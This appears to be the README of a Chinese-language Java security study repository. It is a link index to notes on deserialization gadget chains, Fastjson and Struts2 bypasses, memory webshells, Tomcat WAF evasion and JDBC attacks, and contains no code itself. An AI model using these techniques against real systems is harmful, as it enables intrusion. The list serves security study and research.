- [ASM学习+Class文件结构了解+JVM一些简单知识](https://github.com/Y4tacker/JavaSec/tree/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/ASM%E5%AD%A6%E4%B9%A0/index.md)
- [Xpath注入](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Xpath%E6%B3%A8%E5%85%A5/index.md)
- [JSTL(看菜鸟教程即可)](https://www.runoob.com/jsp/jsp-jstl.html)
- [JEP290基础概念](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md)
- [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md)
- [XML外部实体注入(XXE)攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/)
- [绕过WAF保护的XXE(一些通用的流量混淆方式)](https://xz.aliyun.com/t/4059?accounttraceid=04ba92e87b2342b9a14daca5812cc52aoxob&time__1311=n4mx0DnDBiitiQo4GNulxU2nD9iBDc70ZAnYD)
- [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md)
- [低版本下Java文件系统00截断](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E4%BD%8E%E7%89%88%E6%9C%AC%E4%B8%8BJava%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F00%E6%88%AA%E6%96%AD/index.md)
- [有趣的XSS之Normalize](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E6%9C%89%E8%B6%A3%E7%9A%84XSS%E4%B9%8BNormalize/index.md)
- [红队-java代码审计生命周期(带你简单了解审计)](https://www.secpulse.com/archives/193771.html)
## 2.反序列化
很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了
如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人)
- [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md)
- [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections1/CommonsCollections1.md)
- [CommonsCollections2笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections2/CommonsCollections2.md)
- [CommonsCollections3笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections3/CommonsCollections3.md)
- [CommonsCollections5笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections5/CommonsCollections5.md)
- [CommonsCollections6-HashSet笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-HashSet/CommonsCollections6-HashSet.md)
- [CommonsCollections6-HashMap笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-HashMap/CommonsCollections6-HashMap.md)
- [CommonsCollections6-Shiro1.2.4笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-Shiro1.2.4/CommonsCollections6-Shiro1.2.4.md)
- [CommonsCollections7笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections7/CommonsCollections7.md)
- [CommonCollectionsWithoutChainedTransformer](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonCollectionsWithoutChainedTransformer/index.md)
- [使用TemplatesImpl改造CommonsCollections2](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2.md)
- [网上看到的套娃CommonsCollections11](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections11/CommonsCollections11.md)
- [CommonsBeanutils1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md)
- [CommonsBeanutils1-Shiro(无CC依赖)](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1-Shiro(%E6%97%A0CC%E4%BE%9D%E8%B5%96)/CommonsBeanutils1-Shiro(%E6%97%A0CC%E4%BE%9D%E8%B5%96).md)
- [FileUpload1-写文件\删除文件](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/FileUpload/index.md)
- [C3P0利用链简单分析](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/C3P0/C3P0.md)
- [C3P0Tomcat不出网利用(思路就是之前高版本JNDI注入的思路)](http://www.yulegeyu.com/2021/10/10/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/)
- [反制Ysoserial0.0.6版本-JRMP](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP.md)
- [SnakeYAML反序列化及可利用Gadget](https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90/)
- [SnakeYAML出网探测Gadget(自己瞎琢磨出来的,不过在1.7以下版本就不行)](https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%AE%9E%E7%8E%B0Gadget%E6%8E%A2%E6%B5%8B/)
- [XStream反序列化学习](https://y4tacker.github.io/2022/02/10/year/2022/2/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
- [解决反序列化serialVesionUID不一致问题(BestMatch:打破双亲委派对jbxz用工具最方便)](https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/)
- [自己搞的把ROME利用链长度缩小4400-1320(Base64)](https://y4tacker.github.io/2022/03/07/year/2022/3/ROME%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92/)
- [JDK7u21](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/JDK7u21/index.md)
- [AspectJWeaver写文件](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/AspectJWeaver/AspectJWeaver.md)
- [反序列化在渗透测试当中值得关注的点](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%BD%93%E4%B8%AD%E5%80%BC%E5%BE%97%E5%85%B3%E6%B3%A8%E7%9A%84%E7%82%B9/index.md)
- [UTF-8 Overlong Encoding导致的安全问题(在绕过流量设备上非常有帮助)](https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg)
- [构造java探测class反序列化gadget](https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA)
- [对URLDNS探测class的补充(为什么本地明明没有这个类却有"DNS解析")](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/URLDNS%E6%8E%A2%E6%B5%8Bclass%E7%9A%84%E8%A1%A5%E5%85%85/index.md)
- [利用Swing构造反序列化SSRF/RCE(JDK CVE-2023-21939)](https://github.com/Y4Sec-Team/CVE-2023-21939)
- Hessian反序列化
- [Hessian 反序列化知一二](https://su18.org/post/hessian/)
- [hessian-only-jdk利用补充](https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md)
- [hessian-onlyjdk-jdk11+jdk.jfr.internal.Utils利用补充](https://guokeya.github.io/post/psaIZKtC4/)
## 3.Fastjson/Jackson专区
可以对比jackson简单学习下,这里我也会简单提一下jackson的一些利用,当然不会很详细,但是会简单列出一些触发原理,而且有些payload是共通的,这里也不以收集各个依赖下利用的payload为主
- Jackson
- [Jackson的利用触发及小细节(比较鸡肋仅作为学习了解)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md)
- [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5)
- [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt)
- [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4)
- Fastjson
- [Fastjson基本用法](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md)
- [Fastjson1.1.15-1.2.4与BCEL字节码加载](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD.md)
- [Fastjson1.22-1.24反序列化分析之JNDI](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BJNDI/Fastjson1.22-1.24.md)
- [Fastjson1.22-1.24反序列化分析之TemplateImpl](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BTemplateImpl/Fastjson1.22-1.24.md)
- [Fastjson1.2.25-1.2.41补丁绕过(用L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md)
- [Fastjson1.2.25-1.2.42补丁绕过(双写L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md)
- [Fastjson1.2.25-1.2.43补丁绕过(用左中括号绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md)
- [Fastjson1.2.25-1.2.45补丁绕过(mybatis的3.x版本且<3.5.0、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md)
- [Fastjson1.2.25-1.2.47绕过](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType.md)
- [Fastjson1.2.48-1.2.68反序列化漏洞](https://www.anquanke.com/post/id/232774)
- [Fastjson1.2.68不使用ref引用,不用parseObject触发get方法](https://su18.org/post/fastjson-1.2.68/#getter-%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8)
- [关于blackhat2021披露的fastjson1.2.68链的一些细节,防止公众号以后找不到同目录下有备份](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect)
- [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf)
- [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md)
- [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd)
- [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
- [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/)
- [Fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd)
- [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
- 其他
- [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html)
- [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA)
- [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson)
- [记一次 Fastjson Gadget 寻找](https://mp.weixin.qq.com/s/dJkZuf6Ho6EK71bbnXI0EA)
## 4.Weblogic专区(虽然也挖了一堆,暂时不想写)
- [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md)
- [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md)
- [Weblogic使用ClassLoader和RMI来回显命令执行结果](https://xz.aliyun.com/t/7228)
- [Weblogic SSRF Involving Deserialized JDBC Connection](https://pyn3rd.github.io/2022/06/18/Weblogic-SSRF-Involving-Deserialized-JDBC-Connection/)
## 5.内存马学习专区
- 基础知识
- [Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】](https://mp.weixin.qq.com/s/NKq4BZ8fLK7bsGSK5UhoGQ)
- [JavaWeb与Tomcat介绍](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat%E4%BB%8B%E7%BB%8D/Tomcat%E4%BB%8B%E7%BB%8D.md)
- [Tomcat-Listener型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md)
- [Tomcat-Filter型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md)
- [Tomcat-Servlet型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md)
- [Tomcat-Valve内存马](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw)
- [Tomcat-Upgrade内存马](https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw)
- [WebSocket代理内存马](https://github.com/veo/wsMemShell)
- [Executor内存马的实现](https://mp.weixin.qq.com/s/uHxQf86zHJvg9frTbjdIdA)
- [浅谈 Java Agent 内存马(网上看到大师傅写的很详细直接搬运工了)](http://wjlshare.com/archives/1582)
- [SpringBoot内存马学习-通过添加新路由](https://github.com/Y4tacker/JavaSec/tree/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E9%92%88%E5%AF%B9springboot%E7%9A%84controller%E5%86%85%E5%AD%98%E9%A9%AC)
- [利用intercetor注入Spring内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/index.md)
- [Timer型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Timer%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/index.md)
- [看不见的Jsp-Webshell(有点像平时CTF里面php的不死马的效果)](https://mp.weixin.qq.com/s/1ZiLD396088TxiW_dUOFsQ)
- [看不见的 Jsp-WebShell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA)
- [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
- [Java安全攻防之Spring Cloud Gateway攻击Redis](https://mp.weixin.qq.com/s/6U1KaLrrtq2dxg55IYASFg)
- Tools
- [一款支持高度自定义的 Java 内存马生成工具(配合这个学习别人的内存马构造)](https://github.com/pen4uin/java-memshell-generator)
## 6.JavaAgent学习专区
- [Java Instrument插桩技术初体验](https://github.com/Y4tacker/JavaSec/blob/main/6.JavaAgent/JavaInstrument%E6%8F%92%E6%A1%A9%E6%8A%80%E6%9C%AF/JavaInstrument%E6%8F%92%E6%A1%A9%E6%8A%80%E6%9C%AF.md)
- [PreMain之addTransformer与redefineClasses用法学习](https://github.com/Y4tacker/JavaSec/blob/main/6.JavaAgent/PreMain%E4%B9%8BaddTransformer%E4%B8%8EredefineClasses%E7%94%A8%E6%B3%95%E5%AD%A6%E4%B9%A0/PreMain%E4%B9%8BaddTransformer%E4%B8%8EredefineClasses%E7%94%A8%E6%B3%95%E5%AD%A6%E4%B9%A0.md)
- [AgentMain(JVM启动后动态Instrument)](https://github.com/Y4tacker/JavaSec/blob/main/6.JavaAgent/AgentMain/AgentMain.md)
- [通过JVMTI实现C/C++的JavaAgent交互](https://luckymrwang.github.io/2020/12/28/%E7%A0%B4%E8%A7%A3-Java-Agent-%E6%8E%A2%E9%92%88%E9%BB%91%E7%A7%91%E6%8A%80/#JVMTIAgent)
后面因为一些原因打算更系统学习,感觉在这里面直接添加有点臃肿,故开了一个新的repo来记录整个学习阶段,移步[RaspLearning](https://github.com/Y4tacker/RaspLearning)
## 7.Struts2学习专区
一开始不想搞这个是因为很少人用了,后面想了一下可以具体看看struts2当中对OGNL策略如何做提升处理学学别人的绕过(Ps:不教怎么复现搭建环境)
- [Struts2简介与漏洞环境搭建](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md)
- [S2-001学习(由于是第一篇我还是分析的比较详细,后面不会重复本篇里面的一些流程内容)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-001%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Struts2-001.md)
- [S2-002学习(太鸡肋了感觉实战也比较难出现)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-002%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/S2-002%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md)
- [S2-003学习(比较有趣的一个洞很多小细节)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-003%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-005学习(通过Ognl将上下文_memberAccess中的acceptProperties设为空绕过)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-005%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-007学习(字符串拼接导致OGNL解析)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-007%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-008学习(很鸡肋,稍微有点用的有开启devMode解析任意Ognl)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-008%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
后面突然觉得调试的过程很无聊我也不感兴趣,更感兴趣的是关于Struts当中Ognl的攻防所以后面更偏向于这方面研究,而不再具体跟踪中间的调用过程
- [S2-015学习(静态方法受限制以及没有setAllowStaticMethodAccess后如何绕过)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-015%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-032学习(清空_memberAccess当中excludedXXX限制通过构造函数调用/使用DefaultMemberAccess覆盖SecurityMemberAccess绕过限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-032%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-045学习(通过container获取全局共享的OgnlUtil实例来清除SecurityMemberAccess当中属性的限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-045%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-057学习(突破#context被删除限制,从attr作用域获取context对象)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-057%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md)
- [S2-066学习(变量覆盖的有趣的例子)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/)
## 8.关于Tomcat的一些小研究
- [JSTL的可利用点](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/JSTL%E7%9A%84%E5%8F%AF%E5%88%A9%E7%94%A8%E7%82%B9/index.md)
- [一次jsp的奇异探索](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/%E4%B8%80%E6%AC%A1jsp%E7%9A%84%E5%A5%87%E5%BC%82%E6%8E%A2%E7%B4%A2/1.md)
- [Tomcat写文件新利用思路](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E5%86%99%E6%96%87%E4%BB%B6%E6%96%B0%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF/DC.md)
- [两个关于Tomcat的问题](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/%E4%B8%A4%E4%B8%AA%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E9%97%AE%E9%A2%98/1.md)
- [Java文件上传大杀器-绕waf(针对commons-fileupload组件)](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Common-fileupload%E7%BB%84%E4%BB%B6%E7%BB%95%E8%BF%87/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6).md)
- [探寻Tomcat文件上传流量层面绕waf新姿势](https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/)
- [Tomcat上传.war触发JNDI](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%8A%E4%BC%A0.war%E8%A7%A6%E5%8F%91JNDI/index.md)
- [Servlet的线程安全问题](https://y4tacker.github.io/2022/02/03/year/2022/2/Servlet%E7%9A%84%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/)
## 9.JDBC Attack
关于Make JDBC Attacks Brilliant Again的简单记录,当我们在 JDBC Connection URL可控的情况下,攻击者可以进行什么样的攻击?这部分可以配合[探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/)来进行拓展攻击
- [MySQL-JDBC-反序列化漏洞](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/MySQL-JDBC-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/MySQL%20JDBC-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md)
- (补充各版本区别)[MySQL JDBC 客户端反序列化漏洞分析](https://www.anquanke.com/post/id/203086)
- [对fnmsd关于detectCustomCollations触发点的版本纠正](https://xz.aliyun.com/t/10923)
- [H2-RCE](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/h2/index.md)
- [ModeShape-JNDI](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/ModeShape/index.md)
- [IBM DB2-JNDI](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/IBM-DB2/index.md)
- [Apache Derby可触发反序列化](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/Apache-Derby/index.md)
